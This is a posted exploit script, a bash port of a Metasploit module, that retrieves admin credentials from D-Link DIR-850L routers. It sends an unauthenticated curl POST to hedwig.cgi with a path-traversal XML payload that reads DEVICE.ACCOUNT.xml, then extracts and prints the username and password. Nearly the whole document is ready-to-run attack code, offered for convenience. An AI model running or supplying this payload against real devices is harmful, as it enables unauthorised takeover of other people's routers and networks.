D-Link DIR-850L Credential Disclosure
Posted on 25 November 2017
#!/bin/bash # # Derped together by Raphael de la Vienne A.K.A. Hackdwerg # Original exploit https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dir850l_unauth_exec # Just in case if you dont have metasploit, or are to lazy to install it. here is a bash variant. # # Exploit Title: dlink-850-admin-creds-retriever.sh # Google Dork: none # Date: 2017-11-23 # Exploit Author: Zdenda, Peter Geissler, Pierre Kim # Ported to bash for the ease of use. # Vendor Homepage: http://support.dlink.com/ProductInfo.aspx?m=DIR-850L # Software Link: ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP # Version: 1.14.B07 # Tested on: mips # SSV ID:SSV-96333 # CVE : none # Original PoC: https://www.seebug.org/vuldb/ssvid-96333 # MSF module: https://www.rapid7.com/db/modules/exploit/linux/http/dlink_dir850l_unauth_exec # Vulnerability found in Hack2Win competition at securiteam # URL: https://blogs.securiteam.com/index.php/archives/3364 # Credits go to Zdenda, Peter Geissler and Pierre Kim # Recreated in bash by Hackdwerg # Usage: enter ip when prompted, enter port when prompted. #input IP echo -e "Enter DLINK IP" read IP #input PORT echo -e "Enter PORT number" read PORT #generate Random UID cookie SET_COOKIE=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1) #setting headers HEADER1="User-Agent:Mozilla/4.0 (compatible; MSIE 5.5;Windows NT)" HEADER2="Content-Type:text/xml" HEADER3="Accept-Encoding:gzip, deflate" HEADER4="Cookie:uid=$SET_COOKIE" HEADER5="Connection:close" #Build XML XML_DATA="<?xml version='1.0' encoding='utf-8'?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>" #Create POST with variables POST=$(curl -s -X POST http://$IP:$PORT/hedwig.cgi -H "$HEADER1" -H "$HEADER2" -H "$HEADER3" -H "$HEADER4" -H "$HEADER5" -H "text/xml" -d "$XML_DATA") OUT_RAW=$(echo $POST > Dlink-$IP-RAW.xml) echo "output saved in: Dlink-$IP-RAW.xml" #lazy solution for getting name and password. (if it works it aint stupid) PRETTYFAIUSER=$(cat Dlink-$IP-RAW.xml | sed -e 's,.*<name>([^<]*)</name>.*,1,g') PRETTYFAIPASS=$(cat Dlink-$IP-RAW.xml | sed -e 's,.*<password>([^<]*)</password>.*,1,g') echo "Username =" $PRETTYFAIUSER echo "Password =" $PRETTYFAIPASS echo "" echo "kthankxbye"
